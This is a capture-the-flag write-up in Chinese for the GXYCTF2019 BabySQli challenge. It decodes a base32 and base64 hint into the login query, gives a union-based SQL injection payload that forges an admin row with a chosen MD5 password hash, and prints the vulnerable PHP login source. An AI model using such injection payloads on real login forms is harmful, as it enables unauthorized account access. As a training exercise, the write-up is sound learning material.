[GXYCTF2019]BabySQli 1

解题步骤【这道题要是没有原吗 有点难想】

  1. 可以通过bp爆破用户名,但这里用手打admin试出来了;密码写了123,显示wrong pass【猜测密码错了】。
  2. F12看有没有提示;涉及一个base32【组成部分只有大写字母和数字数字组成,或后面有三个等号】和base64【组成部分:字母A-Z、a-z、数字0-9,+ , /】;所以猜测这一串可能是base32加密,我这里用kali解密。

进行一次base32解密

powershell 复制代码
echo "MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5" | base32 -d

再一次进行base64解密,得到sql语句

powershell 复制代码
echo "c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==" | base64 -d
  1. 用union联合注入,不知道是不是hackbar的问题,说我的sql语法有错,用bp抓包,修改就没问题(百思不得其解)。202cb962ac59075b964b07152d234b70这个是123通过MD5解密而来的数据。要注意 name=1'不能写成=admin' 这样会查询到两个admin账户,要使只有我们现在查询的admin,只能union前面查询的数据没有显示才行。
    name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123

  2. 此题的源码(乱来)

php 复制代码
<?php
require "config.php";
require "flag.php";
//
去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'"; 
$result = mysqli_query($con, $sql);
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
$arr = mysqli_fetch_row($result);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){ #md5加密
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>
相关推荐
独行soc15 小时前
2025年渗透测试面试题总结-234(题目+回答)
网络·python·安全·web安全·渗透测试·1024程序员节·安全狮
合作小小程序员小小店1 天前
web安全开发,在线%服务器日志入侵检测%系统安全开发,基于Python,flaskWeb,正则表达式检测,mysql数据库
服务器·python·安全·web安全·flask·安全威胁分析·安全架构
还是奇怪1 天前
隐藏在字符编码中的陷阱:深入剖析宽字节注入
数据库·sql·安全·web安全
介一安全1 天前
从 0 到 1 玩转 2025 最新 WebGoat 靶场:环境搭建 + 全关卡漏洞解析(超级详细)
java·web安全·网络安全·靶场
闲人编程1 天前
Python在网络安全中的应用:编写一个简单的端口扫描器
网络·python·web安全·硬件·端口·codecapsule·扫描器
网安小白的进阶之路2 天前
A模块 系统与网络安全 第四门课 弹性交换网络-5
网络·安全·web安全
sadandbad2 天前
[vulhub靶机通关]DC-2(rbash绕过_git提权)
网络·sql·web安全·网络安全
民乐团扒谱机2 天前
实验室安全教育与管理平台学习记录(七)网络安全
学习·安全·web安全
普普通通的南瓜2 天前
共筑网络安全,守护绿色家园
安全·web安全·php
belldeep2 天前
网络安全:WebShell
安全·web安全·webshell